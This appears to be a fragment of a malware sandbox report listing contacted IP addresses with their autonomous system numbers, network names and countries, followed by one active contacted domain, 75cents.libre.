7922 COMCAST-7922US false
149.1.197.57
 unknown United States
2828 XO-AS15US false
178.239.140.19
 unknown Poland
198023 YESNET-ASPL false
43.236.169.86
 unknown China
17506 UCOMARTERIANetworksCorporationJP false
155.231.106.144
 unknown United Kingdom
10052 KNU-ASKyungpookNationalUniversityKR false
211.226.150.199
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
128.255.110.177
 unknown United States
3676 UIOWA-ASUS false
39.244.145.202
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
130.22.239.154
 unknown United States
564 DNIC-AS-00564US false
196.15.221.33
 unknown South Africa
5713 SAIX-NETZA false
28.219.138.202
 unknown United States
7922 COMCAST-7922US false
82.2.163.131
 unknown United Kingdom
5089 NTLGB false
54.30.10.248
 unknown United States
14618 AMAZON-AESUS false
86.34.79.168
 unknown Romania
9050 RTDBucharestRomaniaRO false
48.179.107.146
 unknown United States
2686 ATGS-MMD-ASUS false
85.109.180.116
 unknown Turkey
9121 TTNETTR false
67.47.116.169
 unknown United States
6621 HNS-DIRECPCUS false
196.217.111.159
 unknown Morocco
36903 MT-MPLSMA false
123.15.130.240
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
87.35.64.4
 unknown Ireland
1213 HEANETIE false
30.115.69.29
 unknown United States
7922 COMCAST-7922US false

Contacted Domains

Name IP Active
75cents.libre 156.244.13.91 true